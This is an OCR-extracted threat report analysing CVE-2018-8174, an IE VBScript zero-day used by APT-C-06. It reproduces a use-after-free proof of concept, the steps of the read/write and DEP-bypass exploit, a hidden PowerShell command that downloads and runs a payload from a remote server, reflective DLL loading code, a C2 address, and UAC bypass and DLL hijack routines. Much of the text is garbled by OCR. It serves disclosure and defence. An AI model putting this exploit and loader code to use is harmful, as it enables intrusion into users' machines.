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| Overview

Recently, the Advanced Threat Response Team of 360 Core Security Division detected an APT
attack exploiting a 0-day vulnerability and captured the world’s first malicious sample that uses
a browser 0-day vulnerability. We code named the vulnerability as “double kill” exploit. This
vulnerability affects the latest version of Internet Explorer and applications that use the IE
kernel. When users browse the web or open Office documents, they are likely to be potential
targets. Eventually the hackers will implant backdoor Trojan to completely control the computer.
In response, we shared with Microsoft the relevant details of the Oday vulnerability in a timely
manner. This APT attack was analyzed and attributed upon the detection and we now
confirmed its association with the APT-C-06 Group.

On April 18, 2018, as soon as 360 Core Security detected the malicious activity, we contacted
Microsoft without any delay and submitted relevant details to Microsoft. Microsoft confirmed
this vulnerability on the morning of April 20th and released an official security patch on May
8th. Microsoft has fixed the vulnerability and named it CVE-2018-8174. After the vulnerability
was properly resolved, we published this report on May 9th, along with further technical
disclosure of the attack and the Oday.

Il Affection in China

According to the sample data analysis, the attack affected regions in China are mainly
distributed in provinces that actively involved in foreign trade activities.Victims include trade
agencies and related organizations.

lll Attack Procedure Analysis

The lure documents captured in this attack are in Yiddish[1] The attackers exploit office with
OLE autolink objects (CVE-2017-0199) to embed the documents onto malicious websites. All
the exploits and malicious payload were uploaded through remote servers.

[1]The language is automatically identified by Google Translate
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Notification in the pop-up window:

Links to this document may reference other files. Do you want to update this document with the
data in the linked file?

Once victims opened the lure document, Word will firstly visit a remote website of IE vbscript
Oday (CVE-2018-8174) to trigger the exploit. Afterwards, Shellcode will be running to send
several requests to get payload from remote servers. The payload will then be decrypted for
further attack.

Profocod Langth inlo

172, 16.1.114 HTTP 386 GET fsi/search.phpiwhos7 HTTF/1.1 1
117 41.121688 TH.128.92. 242 HTTP 4115 HTTRS1.1 209 OK  (text/husl)
131 45437893 172.16.1-114 HTTF 445 GET JSsi/search.phpivarsddsdinasestotorohTneglTdl4kos] HTTRS 1.1
224 46, 354454 TH. 128,592,242 HTTF 2788 HTTPF1.1 208 OK lapplicationfoctet-stream)
235 47398801 172.16.1.114 HTTP 1234 POST si¥fconfig. php? indt=1784knase=tatoro-16 HITP/1.1
1658 75.870305 172.16.1.114 HTTP 186 GET ss7/config.phpfnase=totoro-166inst=RM HTTPSL.1
1771 77.482349 TH.128.92.242 HTTP 5336 HTTRS1.1 280 OK (imageSgif)

While the payload is running, Word will release three DLL backdoors locally. The backdoors will
be installed and executed through PowerShell and rundll32. UAC bypass was used in this
process, as well as file steganography and memory reflection uploading, in order to bypass
traffic detection and to complete loading without any files.
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The main process of the attack is shown in the following figure:
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IV IE VBScript 0day (CVE-2018-8174)

1. Timeline
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On April 18, 2018, Advanced Threat Response Team of 360 Core Security Division detected a
high-risk Oday vulnerabilities. The vulnerability affects the latest version of Internet Explorer
and applications that use the IE kernel and has been found to be used for targeted APT
attacks. On the same day, 360 immediately communicated with Microsoft and submitted details
of the vulnerability to Microsoft. Microsoft confirmed this vulnerability on the morning of April
20th and released an official security patch on May 8th. The Oday vulnerability was fixed and it
was named CVE-2018-8174.

CVE-2018-8174 is a remote code execution vulnerability of Windows VBScript engine.
Attackers can embed malicious VBScript to Office document or website and then obtain the
credential of the current user, whenever the user clicks, to execute arbitrary code.

2. Vulnerability Principles

Through the statistical analysis of the vulnerability samples, we found out that obfuscation was
used massively. Therefore, we filtered out all the duplicated obfuscation and renamed all the
identifiers.

Seeing from the POC created by using the exploit samples we captured, the principles of the
exploit is obvious. The POC samples are as below:

2013.04.19~ The Advanced Threat Response Team of 360 |

20128.05.09 Midnight- Microsoft released new patch to resolve the |

2018.05.09~ The Advanced Threat Response Team of 360 |
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4
edim b
7dim ¢

=

sClass clal

10 Private Sub Class_Terminate
11 Ser c = b

12 b=20D

13 End Sub

14

15 Function test

16 msghox 3

17 End Function

18

12end class

3

2z set b = new clal
gab =10

24

35 £.rasy

27 </ scriprs
3 <script language="vBScript'=>
4
g
sdim b
rdim c
8
aClass clal

10 Private Sub Class_Terminate

11 set c = b

1z h =20

13 End sub

14

15 Function test
16 msgbhox 3
17 End Function
18

12 End class

20

21

zzset b = new clal
2zzb =0

24

25 ::.testl

26

2

7 </script=
Detailed procedures:

1) First create a cla1 instance assigned to b, and then assign value 0 to b, because at this point
b’s referenced count is 1, causing cla1’s Class_Terminate function to be called.

2) In the Class_Terminate function, again assign b to ¢ and assign 0 to b to balance the
reference count.

3) After the Class_Terminate return, the memory pointed to by the b object will be released, so
that a pointer to the memory data of the released object b is obtained.

4) If you use another object to occupy the freed memory, it will lead to the typical UAF or Type
Confusion problem
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3. Exploitation

The 0-day exploit exploits UAF multiple times to accomplish type confusion. It fakes and
overrides the array object to perform arbitrary address reading and writing. In the end, it
releases code to execute after constructing an object. Code execution does not use the
traditional ROP or GodMod, but through the script layout Shellcode to stabilize the use.

Fake array to perform arbitrary address reading and writing

Mem members of 2 classes created by UAF are offset by OxOc bytes, and an array of Ox7fffffff
size is forged by reading and writing operation to the two mem members.

LI1TT1=Pnescape ("$u00013u0880%u0001%u00003u0000%u0000%u00003u0000" &
"enffEfEu7E£ESu0000%u0000"™)

1T1TTl=JneasaEs | =Yool 01 NaDARONul 0] huod 00N 00O ul SO0k d000Na0nca™ &
TNaEIL VT EES VO D0 Nl ncD=)

typedef struct tagSAFEARRAY {

USHORT cDims; // cDims = 0001

USHORT fFeatures; fFeatures =0x0880

ULONG cbElements; // the byte occupied by one element (1 byte)
ULONG cLocks;

PVOID pvData; // Buffer of data starts from 0x0
SAFEARRAYBOUND rgsabound[1];

} SAFEARRAY, “*LPSAFEARRAY;

typedef struct tagSAFEARRAYBOUND {

ULONG cElements; // the number of elements (Ox7fffffff, user space)
LONG ILbound; // the initial value of the index (starting from 0)

} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;

A forged array composes of a one-dimensional array, the number of elements is 7fffffff, each
element occupies 1 byte, and the element memory address is 0. So the accessible memory
space for the array is from 0x00000000 to Ox7ffffffff*1. Therefore, the array can be read and
written at any address. But the storage type of Il is string, so only by modifying the data type
to 0x200C, i.e. VT_VARIANT|VT_ARRAY( array type), attackers can achieve their purpose.

Read the storage data of the specified parameter

Function GetUint32 (addr) ' len get addr
Dim walus Function GetAddrValue 'len get addr
111i1.mem(ggggg + 8) = addr + 4 GetAddrValue=LenB (mem(ggggg+8))
iiiii.mem(ggggg)= 8 'type atring End Function

value=iiiii.GecAddrValus

In the malicious code, the above function is mainly used to read the data of the memory
address specified by the parameter. The idea is to obtain the specified memory read capability
via the characteristics of the first 4 bytes of the string address (namely, the content of the bstr,
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type, size field) returned by the lenb (bstr xx) in the vb (the data type in the VBS is bstr).

This is shown in the above code. If the input argument is addr(0x11223344), first add 4 to the
value to get 0x11223348, and then set the variant type to 8 (string type). Next, call len function:
if found to be BSTR type, vbscript will assume that the forward 4 bytes (0x11223344) is the
address memory to store the length. So the len function will be executed and the value of the
specified memory address will be returned.

Obtain Key DLL Base Address

1.The attacker leaks the virtual function table address of the CScriptEntryPoint object in the
following way, which belongs to Vbscript.dll.

Function 1ITTI1
Cn Error EResume Next
Dim 11111
11111=Null Func
11111=null
SetMemValue 11111
1ITITT1=GetMemValue ()

2.0btain the vbscript.dll base address in the following way

Function 11I1I({T11I11})

Dim 11I1

11T1=T11111 Znd E£hEFEFO000D

Do While GetUint32 (11I1+4 (&hT748+4235-&H176F) }< Or GetUint32 (11I1+(&ha2a+7373-&£H268b) }< '68 6c
11T1=11T1-65536

Loop

11T17=1111

End Functioﬂ

3.Because vbscript.dll imported msvcrt.dll, the msvcrt.dll base address was obtained by
traversing the vbscript.dll import table, msvcrt.dll introduces kernelbase.dll, ntdll.dll, and finally
the NtContinue, VirtualProtect function address was obtained.

IIITI1=1TITIILCH

I111TT=11T1T (GetUint32 (INIII1))
I111T1=ZetDll8ase (IL1LIT, "5 L")
IT111T=GecDlloase (TARLTL . "5 a8 2kl
1IlT1T=CacDllBass (I1 1, . |
Virtual FEoTacT=0at ddress{IT111T,"V )
HeConrinogs=JerFunchddress (LI1I1I, ]

ITTITITI=1TITT1 {}

I111TT=11T1T (GetUint32 (IITTI1}}
I111T1=GetDl1Base (I1111T, "gsycrh-dll™)
IT111T=GetDl1Base(I111T11, "kernelhase . dll™)
1T1T1T=GetDl1Base (I111T1, "nLdll.dll™)
VirtualProtect=GetFunchAddress (II111I,"VirtualFrotect")
HtContinue=GetFunchddress (1I1I1T, "HtContinua"

Bypass DEP to execute shellcode

1.Use arbitrary reading and writing technique to modify the VAR type type to 0x4d, and then
assign it with a value of 0 to make the virtual machine perform VAR:: Clear function.
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2.Control with caution and let the code Execute function ntdIl'ZwContinue. The first parameter

CONTEXT structure was also constructed by the attacker.
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.text
-text
-text
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0:005: dd
03497584
03497594

:6BFA17FB ; _ int32
:6BFA17FB public: long
:GBFA17FO
:GBFA17F0O
6BFA17F @
:6BFA17F A
:GBFA17FB
:GBFA17FB
:6BFA17FB
:GBFA17FO
:GBFA17FO
6BFA17F A
:6BFA17F A
:GBFA17FB
:GBFA17FB
:6BFA17FB
:6BFA17F0O
:GBFA17FO
:6BFA17F @
(6BFA17F2
:6BFA17F3
:G6BFA17FS
:6BFA17F8
:6BFA17FB
:6BFA17FC
:6BFA17FE
:6BFA1801
:6BFA1807
:GBFA180A
:6BFA1818
:6BFA1811
:6BFA1817
:6BFA1818
:6BFA1B1E

FUHCTIOH
FUHCTIOHN
FUNCTIOHN
FUNCTIOH
FUNCTIOH
FUNCTIOH

this
t

noaeu poinied in e
YAH stnzciuee, B frak
vt i Ot

6bfal00l [03dadfec|6bialond]

20459d9b gooooooo

call

UAR: :Clear{UARIANTARG =puarg)
hischll UAR::Clear{void} proc near

LODE SREF: GecContext::FreeToMark{long)
CScriptRuntime: :RunHoEH{UAR =)-BE1lp
CScriptRuntime: :RunNoEH{UAR =)-6A2Lp
CScriptRuntime: :RunNoEH{VAR =)-569Lp
AssignVar{CSession *,UAR #*=,UAR *,ulong
CScriptRuntime: :SetVUar{ushort const =,
AssignVar{CSession #=,UAR =,UAR =*,ulong
MameList::“MameList{void)+Flp ...

K63 SIZE DG0686868D BYTES

IZE BABABOBE BYTES
WE 088068031 BYTES

B008008688 BYTES

SIZE Wgeoae17 BYTES

now,esi pointed to the
[esi] VAR structure, the first

value is Ox4d

| Ox4d-0x49-0x3-0x1 = 0

jmp to 0x6bfb089c

CHUNKE AT .text:6BFAX
CHUNE AT .text:6BFBA8 SIZE @@apae1é6 BYTES
CHUHE AT .text:6BFB2@5
CHUHNK AT .text:6BFBZ2BC3
CHUHK AT .text:6BFB8B62 SI
CHUHK AT .text:6BFC9581
mou edi, edi
push esi
mou esi, ecx
mouzx ecx, word ptr
mouzx eax, CX
push edi
X0r edi, edi
sub eax, u4%h
jz loc_GBFEBBG2
sub eax, 3
jz loc 6BFALAG3
I iz loc GBFBOSYC
dec eax
jz loc_6GBFB285C
dec eax

3.Control the code with caution to execute ntdll! ZwContinue function. The first parameter
CONTEXT structure is also carefully constructed by the attacker.
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ext:6BFBBBOC| loc_G6GBFBBBOC: ; GODE XREF: UHH::Blear(uuid}+21Tj
ext:6BFBOROC mou eax, [esi+8]

ext:GBFBABIF | test eax, edx

-ext :6BFBB8A1 TP from jz loc GBFA1843

‘ext:6BFBOBAT |,/ . c|ea|+0x21““"

ext-6BFEBBAD
ext:6BFEBBAA
ext:6BFBAEAD

e o FOAE TR AR

- FLIR A LT T ORLE SVIRIELEEF AR SRR T o o A TR A

ecx, [eax]
sh eax

call dword pt

jmp loc_6BFA

[ecx+8]

e e e e e

0005 dd
03497584 D34adfoc 6bfal0Ol
03497594 28000000 0000000 .
03497524 00650000 00320000 00?50029 esi is 0x3497584
034975h4 003200 0650000 00000000 20459490
0:005> dd 034ad4fcc LOx10 : A _—
03dadfcc 02bel023 00410041 00410041 0041iop41 28X is 0x34adfec, which is the initial address
034adfdc 00410041 00410041 00410041 00410041 .
03dadfec 0410041 00410041 00410041 004100479 of the CONTEXT structure, as the first
g?ggéif ggééggg% Egi%gn4l 00410041 00410041 parameter of the ZwContinue functi
02bel023  779349b0 779349b0 779349b0 779349L0
02b=1032 41414100 41414141 41414141 41414141
02bel043 41414141 41414141.81414141 41414141 ecxis 0x2bel023, [ecx+8] is 0x7794349b0,
02b=1052 41414141 4141 41414141 41414141 . .
0:005: ln 779349b0 which is the address of ZwContinue function
(779349b0% ntdll | ZvContinue |
Exact matches:

ntdll | HtContinue = <no type information:

ntdll ! ZwContinue = <no type information:

4.The first parameter of ZwContinue is a pointer to the CONTEXT structure. The CONTEXT
structure is shown in the following figure, and the offset of EIP and ESP in CONTEXT can be

calculated

5.The values of the Eip and Esp in the actual runtime CONTEXT and the attacker’s intention
are shown in the figure below.
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0:005) dd 034adfcctDxzes
03425024 0000001k 00000000
03425094 43434343 43424343 -

034aS0ad 43434343 43434342 43434343 : .
034a50b4  43434347N\e3434347 43474343 43434343 the Eip of the CONTEXT structure is the address of

034aS0cd 43434343 434343 43434343 3 . .
174a50d4 43434347 4347 43434343 A3434343 VirtualProtect function, the Esp points to special data,
43424343 which has been controlled by the attacker

034aS0e4 43434343 343 4343434
D34aS0E4 43434343
0:005: ln 7Sacedfh
(7hac=dfa) KERHELBASE | Virtual
Exact matches:
KERNELBASE!VirtualProtect

0. 00E. A4 07t 00

2b=1000 0363002c 0363002c 00003000 00000040

02bel020 H00D0DDO bO779349 b1779349 h0779349 ; ;
02b=1030 00779349 41414141 41414141 41414141 gaggég?ﬂ 1 14141 41414141 41414141

02bel040 41414141 41414141 41414141 41414141 oy L -

02bal050 41414141 41414141 41414141 41414141 N initial address of

| (75aceS17)  KERWELBASE!VirtualProtectEs

<{no type information:

02b=1060 41414141 41414141 41414181 41414141 L e et W i
02bel0?0 41414141 41414141 41414141 41414141 03630030 BlecSA0GR0000 sub ==p. 658k the shellcode
; 03630036 53 push  ebx
03630037 56 push  esi
02620028 &7 push adi
03630039 §830£343e4 push  OE449F330h

the attacker sets the Eip of the CONTEXT structure as the initial address of VirtualProtect function, so executing the ZwContinue function will call
WirutalProtect function.

when VirtualProtect is called, the return address and the first parameter of VirtualProtect on the stack point to the initial address of the shellcode, so
WirtualProtect will change the memory attributes of shellcode, when VirtualProtect returns, the shellcode will be executed.

V Powershell Payload

After the bait DOC file is executed, it will start to execute the Powershell command to the next
step payload.

| R 1 e

[4] WINWORD EXE [1373)
“Er\Progrom Tiles'\licrasa e 08§ ica'\BiTicela\H IMIOABLIRE * /o *Ca'Bsera'Adei nistratoripslata’\Loca |\Teep'd i VeRdSd\btBadad 151 8d | Bate e i 3Ric a3 ool
(T
+ powershell.exs (3084}
powershell -rafrefi -HILy -ex BYFposs -u ledeaST¥Ie hiddER “Surl="hovp: N o« = - <o 7/ cant i g, phaTommest oloro-18inst=R8" ¢ 1Exl [5Tr

RIZLOTION B2l 0601 L] =0 196 T T 51 B
BILLAT)BY j LEsh 1 1580 1639A 5012 19EF0Y A2 ¥ TEA1BE ) 119045)
DR TR DEESO A2 008 -1 1 PhEDatSc T2z 00T T ] BBz 10 LOL 1401 15 - B1 R+ | 2010 S04A2-9T 47252
S0 T SO LAY T S 1hGA Ao S SE B L Db L0 D BT L1 (T a DIRCE 301 U6 | 01 L= Dm0 38 1 T 1ARTE8=41 30031 3000 x| S0 AT=FEE0T =ugl.
Trat=mplIT "3 =SalaT ' j =aplit” = =SpLIT L =gl It "R=SPLIT R’ =5p 1T "G =sP i "z =5PLaT 0" | foRifchl ([1nT] S=85 [Char]il1}) =

Thj L2 1RBE - GEEFIR188 4251 L0 H0ke L1BET S00BE jSIHOT- 654
BRLBS0 180 j99: 1 16RN=TE- 181 &7 »101RMG: AT | IBSR 18501 8

mBlzs JORHC 7 00
A LB j B-E8BS0 BERE2

First of all, Powershell will fuzzy match incoming parameter names, and it is case-insensitive.
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Penmsisey =itinl Fizima

At = e
e < o e
Parameters Initial Notes
-noProFi- -NoProfile- Without loading Windows PowerShell config
files~
-NOLo~ -NolLogo- Hide copyright logos at startup-
-ex BYPpass- -ExecutionPolicy bypasse Bypass Powershell's default security policy-
-windowSTYle hiddEN. -WindowStyles Set the window style to Hidden mode.«

Second step, decrypt the obfuscated command.

Next, the script uses a special User-Agent access URL page to request the next load and
execute.
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GET /aTfconfig.phptrame=tctorc-13innt=0H HTTP/1.1
Usar-Agear; Morilla/d,@

Hoat: I i . com

Connection: Eeep-dlive

HTTP/LL1 100 O
Dame Wed, VB Spe J0E 07037004 GMT
Sarvar: Apacts

A-Praserad-Ny: PS5, 00
Contast-Lingth: 199137

vary: Accept-Encoding

Eggp-Allwe! vlsetr-5, sae-19
Cornsctlon: Eeap-Alive
Cormeay-Type: Laage/gh?

Hroodedcmpresnsdfile = §°

PisB B 1 1 L N e S e o D gy TR ESOTHG L b5 781 il M By e DT T 1955717 3 ey
014 20 TmE e Er n A LAgn g f P S BHE d v d pPene LV TV 1 1B 70 /e Fan e T o TR AP FEN
FRR It P e PP L T TG F R LD B p S il i L iy T L6 TRTL T M Sailige
B S FLFESS+ AE16 S Svlabrf 3 Tx ] F S0 /ML /B M REFT 2P PR3 R L Pl 0T Ay 4 S P DDF P8 TOEF 1

GET /s7/config.php?name=totoro-13&inst=AM HTTP/1.1
User-Agent: Mozilla/4.@
Host: NN s . com

Connection: Keep-Alive

HTTP/1.1 28@ OK

Date: Wed, 18 Apr 2018 ©07:27:14 GMT
Server: Apache

X-Powered-By: PHP/5.5.38
Content-Length: 199137

Vary: Accept-Encoding

Keep-Alive: timeout=5, max=18
Connection: Keep-Alive
Content-Type: image/gif

$EncodedCompressedFile = @°

ThBHYBx] 1iUmL 23Ke 39K9UrXAHShCIBgEY TYREAQTMGI zea5 78 1pRyMpqygBymVWIV ImFkDMT Z28995777333m
01/FF/29cImQBbPBOStrIniGAGsgFPI58HZBivvipP+nX+LV/V/1/h16P/ /9/ /9a /wafIevIc /vqTBIPFEV/
f83+V3+nt/kl/jbfuyf13/rl/2+T/ /uT6IFO26qquLl0luk@2ySripBkqflepkly /Tpl6/TRTXLxT /xb5z8bgr-
8d/BS/FLFB/BS+/616/S vX+bFITx7/30/NL/Be IEFTzP M323 /vX+LPn/97 /vif AL/ 79/enT9ETS

The size of the requested payload file is approximately 199K. The code fragment is as follows.
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PEInfo.FileType
Remoteloading
Write-Verbose "Calling dllmain so the DLL knows it has been loaded”
D11MainPtr Add-SignedIntAsUnsigned PEInfo.PEHandle PEInfo.IMAGE
D11MainDelegate = Get-DelegateType [IntPtr], [UInt32], [IntPtr] [ B

D11Main = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunct

D11Main. Invoke( %PEInfo.PEHandle, 1, [IntPtr]::Zero Out-Null

D11MainPtr = Add-SignedIntAsUnsigned (%EffectivePEHandle PEInfo.IMA

PEInfo.PEG4Bit

CallDl11lMainSC1
CallDl1MainsSC?2
CallD11MainSC3

CallDl11MainSC1 53 89 e3 83 ed
CallD11MainSC2 ba 91 00 0o
CallD11MainsSC3 ff do 29 dc 5b

}
SCLength CallD11MainSC1.Length CallD11MainSC2. Length CallD11Md

SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(%5CLe
SCPSMemOriginal SCPSMem
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We found that this code was modified from invoke-ReflectivePEInjection.ps1/[2]. buffer_x86 and
buffer_x64 in the code are same function but from different versions of dll files. File export
module name: ReverseMet.dlIl.

[2]
https://github.com/EmpireProject/Empire/blob/master/data/module _source/code _execution/Invoke-
ReflectivePElnjection.ps1

DLL file decrypts ip address, port and sleep time from the configuration. After the decryption
algorithm xor 0xA4, and subtracted 0x34, the code is as follows.
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shiC TREEy TYREAQTHGT 7oas T6 L pRyHp gy By
t I0.Compression.DeflateStres
1
for w85, B. 4044
EAHSHC TBEEy TYREAQTHG T Taas TR pfyHp gy By
t Id.Compression.DeflateStres

wEd | L

EncodedCompressedFile = @'
7bBHYBxJ 11UmL23Ke39K9UrX4HShCIBgEyTYKEAQ/MGIzeaS7B1pRyMpqyqB
‘@
DeflateStream - New-Object IO.Compression.DeflateStream([I0.
buffer x86 = New-Object Byte[](40448
DeflateStream.Read(“buffer x86, 0, 40448 Out-Null
EncodedCompressedFile - @'
7bBHYBxJ 11UmL23Ke39K9UrX4HShCIBgEy TYKEAQ7MGI zeaS7B1pRyMpqyqB
‘@
DeflateStream = New-Object IO.Compression.DeflateStream([I0.
buffer x64 = New-Object Byte[](47104
DeflateStream.Read( ‘buffer x64, 0, 47104 Out-Null

[IntPtr]::S5ize 4) {
PEBytes buffer x86

{
PEBytes buffer x64

e magic PEBytes[0..1] {[Char]

DoNotZeroMZ ) {
PEBytes[@] = ©
PEBytes[1] 0

FuncReturnType "Void'
ForceASLR talse
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Decryption configuration file from the ip address 185.183.97.28 port 1021 to obtain the next
load and execute. After it connects to the tcp port, it will get 4 bytes to apply for a memory.
Subsequent acquired writes into the new thread, and execute the acquired shellcode payload.

[ _MONE = i _data @] = Bleesio9p:
1= eotis, & I H
iry Be =1 B& & P= -0 BR recels, BF, % B
1Al1oc(l, =17 = =] FUORF =) - W 1B, ek

GRTE[a7] = sus @ 1SEIIFACs, (00T hEcnar =3 + with, {latias);
= (WIILE]_begiethreadeni B, 4, (inlls_ 8 18901060, {ial1G, B, & ke
aHER F)

iF 4§ “= {HnM 1-1]
Firtealfrow({LPORIDped, B, SnBOlw);

Freeydl - 0, Dol

H
1F § & == -1}

| _int64  fastcall Decrypt _config({ int6h al, unsigned int a2)
{
__intod result; fF rax@?
unsigned int i; // [sp+8h] [bp-18h]E1

for { i = B; ; ++1i )
{

result = a?;

if (1 »= a2 )

'

o ity

=( BYTE =){al + {(signed int)i) = {={ BYTE =){al + (signed int)i) ™ OxA4) - Ox34;

b

return resuolt;

Since the port of the sample CC server is closed, we cannot get the next load for analysis.

VI UAC Bypass Payload

In addition to use PowerShell to load the payload, the bait DOC file also runs rundll32.exe to
execute another backdoor locally. There are several notable features of the backdoor program
it uses: the program uses COM port to copy files, realize UAC bypass and two system DLL
hijacks; it also uses the default DLLs of cliconfg.exe and SearchProtocolHost.exe to take
advantage of whitelist; finally in the process of component delivery, use file steganography and
memory reflection loading method to avoid traffic monitoring and achieve no file landing load.
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[-] WINWORD.EXE (a28)
“C:\Program Files\Microsoft OFffice\Officeld\WINWORD.EXE" /n "Ci\Uiers\Administrator\AppData’Local\ Temp'H
powershell.exe (3424)
powershell -noProFi —M0Lo -ex BYPpass -wIndowSTYle hiddEM “$urls= '|ll:l.|.l:.-'.-_"'\.l.;."!."'\.'-'.':-'.I'II
fe 0 IBG1ATHIBL ) 121261 x390760113253R56252054R1210710112211601112119K7 T=09K117K76] 12 1R8] -66KFHR 1 8d=1 1954 3(
B7§83j104h115RE1GEHR59=-32x36K1 1969903 2K61RIZ=TARIO1 j 11945 TOK9AR1OE0101 §992 116R32xTE-101K1 16246 287=101F
>188z1810114x115-91R34GA5R115R181§ 114245065-183>101x1102 116634 193-32>61032R34x 7TTR111] 122010564 %h49-97 | 4i
1886111097« 100KEIG116] 114x105=110h123048636x11T0114h 108-41 59K 32=-1050 10121 2032=36K97 " =spLiT =" =splIl
LAT "G'-sPLit"z"-SPLiT'0" | foREAch{ {[InT] $_-&5 [Char])}}}}} *
[=] rundll32.exe (3080)
"CiyWindows ySystemd2y rund 1132 exe" Ci\UsersiAdministratorAppData\Roaning' ROKFILED AL uncompress?
[-] eliconfg.exe (3302)
*CrwWindows\system32hcliconfg.exe™ C:\Windows\system32vcliconfyg.exe
cmd.exe (2976)
CivWindowsssystemd2vemd. exe fo "Ci\Users \ ADNINI-1%AppData’ Local\Tenp'\ \MMMTHZHD . bat"™

1. Retro backdoor execution

The backdoor program used in this attack is actually the Retro series backdoor known to be
used by the APT-C-06 organization. The following is a detailed analysis of the implementation
process of the backdoor program.

First execute the DLL disguised as a zlib library function with rundli32 and execute the
backdoor installation functions uncompress2 and uncompress3.

It uses a COM port for UAC bypass, copying its own DLL to the System32 path for DLL
hijacking, and the hijacked targets are cliconfg.exe and SearchProtocolHost.exe.

iF

( CoGetObject(L"Elevation:Administratortnew:{3ad@5575-8857-4850-9277-11b85bdbBe @}, &pBindOptions, &riid, &ppu)
| CoCreatelnstance(&relsid, 0, 7u, &riid, &ppu)

| *ppu

| €*{int {__ stdcall ==){void =, signed int)){+«{_DWORD #)ppu + 2@))}(ppv, ZT7BBTTON)

| SHCreateltemFromParsingHame({pAppDataPath, @, Bunk_SAWDSAFC, &u10)

| tuie

| SHCreateltenFromParsingName{pSyustendir, @, Gunk_SARDS1FC, &vE) )

T a5 U W] L B - A BRI - D |, ’ o Bl e
ik, @, Tm, brbdd, Repe)

o B bk SRARE, L3 )

éopy the DLL file in the AppData directory to the System32 directory through the COM
interface and name it msfte.dll and NTWDBLIB.dII.
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1uoid  noreturn uncompress2{)

2
3
4
>

iy

q _CopyToSystembir{L 'msfte.dll™, 8);
q _CopyToSystemDir{L"'HTWDBLIE.d11", 1)

ExitProcess(B8);

1jwoid _l‘ll‘ll"Pl‘lII"I‘I III'III.‘ﬂH'I[H‘P"i";?{jl

2l

il q_CopyToSystembir(L"msfte.dll™, B8);

4 q_CopyToSystemDir(L"HTWDBLIB.d11*, 1);
»| ExitProcess{@);

HH

Then copy the file NTWDBLIB.dIl to the System directory and execute the system’s own
cliconfig to achieve DLL hijacking and load NTWDBLIB.dII.

1stropyAful, vh);
Istrcatafud, "\\cliconfg.exe™);

Sleep(Bxéhu);
while { f*PathFileExistsWi{u2) };
memset(BpExecinfo, B, @x3Cu);
pExecintno.chiize = &0;
pExecInfo.FHask = &4
pExecInfo 1pFile = va;

PEx¥

pExecInf n.lpnirectury = (LFCETR)sub_SANC1088(psyst embir);

PExe

if [ ShellExecuteExd(&pExecinfo) &k pExeclnfo.hProcess )

clnto lpParameters = vl

eI nfo.nShow = B3

WaitForSingledbject{pExec Info.hProcess, BxFFFFFFFF);
Closelandle{pExec Info.hProcess)

H]

1=
1=
do

wh
me
pPE
pPE
pPE
pE
PE
PE

trcpyA{vd, vh);
trcata(v3, “"\Acliconfg.exe™);

Sleep{8x64u);

ile { *PathFileExistsW{vZ) };
mset{&pExecinfo, @, Bx3Cu);
#secinfo.ch8ize = 68;
#ecinfo.fMask = 64;
#ecinfo.lpFile = vij
#eclinfo.lpParameters = u3;

#ecinfo. lpbirectory = (LPCSTR)sub SA4CAB8B{pSystemDir);

#ecinfo.nShow = A;

if { ShellExecuteExfA{&pExecInfo) && pExecInfo.hProcess )

{

b

WaitForSingleObject{pExecinfo.hProcess, BxFFFFFFFF);

CloseHandle{pExzecInfo.hProcess);
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The role of NTWDBLIB.dII is to restart the system service WSearch, and then start msfte.dll.

lstrcpyW{EStringd, L"Wiearch™};

hECManager = DpeniCHanagerW{@, B, MxFORIFu);
iF [ hECHamager )
i
hitinject = OpenServiced{hSCHanager, BString1, GxFE1FFu);
if ( hicObject )
{
if | StartierviceM{hSCOLject, @, @) )
i
QuergServiceitatus{hicObject, EServiceStatus]);

w2 = GetTickCount{);
u? = Serulcestatis.dwCheckPolnt:
while [ ServiceStatus.dwCurrentState == 2 )

1strcpyW{&String1, L"WSearch™);

Windows Search Properties (Local Computer)
Gereral | Lag On ] Riesczaweny | Ceperdencies
Servcename:  WSearch
Desplay name Windows Search

Prowides content indmdng. proparty caching. and

; aarch resulls for flee, e-mai. and other conlent

Fath o executable:
C:\Windowa'aystem 32 Searchindeser sop /Embedding

Sttuptype: | Aometic [Delayed Stad)

Help me configure servce starfup options

hECHanager = OpenSCHanagerW({@, @, @xFAB3Fu};

if { hSCHanager )
1

hiCO0bject = OpenServiceW(hiCHanager, &String1, @xFO81FFu);

if { h3CObject )
{

if ( StartServiceW{hSCObject, A, @) )

{

QueryServiceStatus{hSCObject, &ServiceStatus);

u2? = GetTickCount{);

u/ = ServiceStatus..dwCheckPoint;

while { ServiceStatus.dwCurrentState == 2 )
Windows Search Properties (Local Computer) & |

General | Log On | Recoveny | Depmdmd&a|

Service name: WSearch
Display name: Windows Search
Description:

Path to executable:
CMWindows system 32 SearchIndexer exe /Embedding

Provides content indexing, property caching, and e
earch results for files, e-mail, and other content.

Startup type: [Mumatic (Delayed Start)

Help me configure service startup options.

The script will then generate and execute the MO4TH2HO0.bat file in the TEMP directory, which

will delete the NTWDBLIB.DLL and its own BAT from the system directory.

=
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GetTempPathif Bl , B 1;
IstrcatWik LW HOATHIHO . Bat™) 2
i Ly tendirec boryiE o ot ) g
Lstreati(h o L*WWHTHBBLIB.DLL" ) ;
= Createfilew{l . BxhOBH@UERE, 1u, B, Zu, ExHOu, @);
iF == {HAHDLE)-1 }

-0

wsprintFlk . "rRepeat 1WAty
= 1sirlenn{& 'H
WriteFilef . B & ; B » B);
= sub_1alainane ¥:
wsprintFn[E » TDwl ZRSNTYWEWNT, +H
= 1strleni(s 3z
WeiteFilel . B . VI, B » B);
= Sl T@EHYDE 0 E ¥i
s int FR & « TiF exist VEs%\" gote Repeat 10rym™, )i
lstrleniih: ki
el teFileg i ! .
= suili_1 @b D8 bi
sprintEals 5 "DEL AURSATAEANT, wi)

v B LLH

:Repeat 1
Del "C:\Windows\system32\NTWDBLIB.DLL"

if exist "C:\Windows\system32\NTWDBLIB.DLL" goto Repeat 1
Del "C:\Users\ADMINI~1\AppData\Local\Temp\\MO4TH2H®@.bat"

GetTempPathW{8x184u, & );
1strcatWi&k » L"3WAZHO4TH2HB _bat™};
GetSystemDirectoryl{& , Bx184u};
1strcatl{& » L"W\HTWDBLIB.DLL"});
= CreateFileW({& ., Bxhaddesddu, 1u, 8, 2u, 0x80u, A);
if == (HAHDLE)}-1 )}
1
=ﬂ;
b
elce
{
wsprintfAfk » zRepeat 1\rin"});
= 1strlenf{’ ):
WriteFile( , & . , & . B);
= sub_18881800(& );
wsprintfA(& » Del NUESAwWrhnt, ¥;:
= lctrlenni& ¥;
WriteFile( . . . & ., B);
